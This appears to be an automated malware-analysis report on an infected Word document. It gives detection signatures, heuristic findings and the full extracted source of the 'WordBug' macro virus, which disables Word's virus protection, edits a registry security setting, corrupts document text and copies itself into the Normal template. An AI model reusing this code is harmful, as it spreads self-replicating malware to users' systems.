Win.Trojan.Psycho-3 — Office (OLE) malware analysis

Static analysis result for SHA-256 8caacab16c38541f…

MALICIOUS

Office (OLE)

35.5 KB Created: 2000-05-17 22:17:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 62f1a9bf867c0afaa61e2915c5ab3a7c SHA-1: 8b7596dea6fcc890b33d4d84231f038c7564dc4c SHA-256: 8caacab16c38541ff0498de246beead39b20b61a48106214dfbe75c8664eaac2
248 Risk Score

Malware Insights

Win.Trojan.Psycho-3 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

This malicious Word document contains a legacy WordBasic macro and a VBA macro named 'WordBug' with an AutoClose subroutine. The macro attempts to disable security features, infect the Normal template and the active document by exporting and importing its code, and saves the document. It also attempts to set the document subject to 'WordBug'. The presence of 'Win.Trojan.Psycho-3' and 'Win.Trojan.wmvg-1' signatures strongly indicates a trojan dropper.

Heuristics 5

  • ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Psycho-3
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Options.VirusProtection = False
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1866 bytes
SHA-256: 54ade780595fc139ada7532fb6c2b5810ab5800ffc484efc15d95d4fca2a379e
Detection
ClamAV: Win.Trojan.wmvg-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "WordBug"

Sub AutoClose()
    'WordBug Virus V1.00
    'The WaLRuS 04/00
    On Error Resume Next
    Options.ConfirmConversions = False
    Options.VirusProtection = False
    Options.SaveNormalPrompt = False
    CommandBars("Macro").Controls("Security...").Enabled = False
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
    ActiveDocument.ReadOnlyRecommended = False
    Dim lngNumberOfWords As Long
    Dim lngFirstIndex As Long, lngSecondIndex As Long
    Dim strFirst As String, strSecond As String
    lngNumberOfWords = ActiveDocument.ComputeStatistics(wdStatisticWords)
    lngFirstIndex = Int(lngNumberOfWords * Rnd())
    lngSecondIndex = Int(lngNumberOfWords * Rnd())
    strFirst = ActiveDocument.Words(lngFirstIndex).Text
    ActiveDocument.Words(lngSecondIndex).Text = strFirst
    Set Norm = NormalTemplate.VBProject.VBComponents
    Set Doc = ActiveDocument.VBProject.VBComponents
If Norm.Item("WordBug").Name <> "WordBug" Then
    Doc("WordBug").Export "c:\WordBug.drv"
    Set infect = NormalTemplate.VBProject
ElseIf Doc.Item("WordBug").Name <> "WordBug" Then
    Norm("WordBug").Export "c:\WordBug.drv"
    Set infect = ActiveDocument.VBProject
End If
With Dialogs(wdDialogFileSummaryInfo)
    .Subject = "WordBug"
    .Execute
End With
infect.VBComponents.Import ("c:\WordBug.drv")
Kill ("c:\WordBug.drv")
ActiveDocument.Save
End Sub

Sub ToolsMacro(): End Sub
Sub FileTemplates(): End Sub
Sub ViewVBCode(): End Sub

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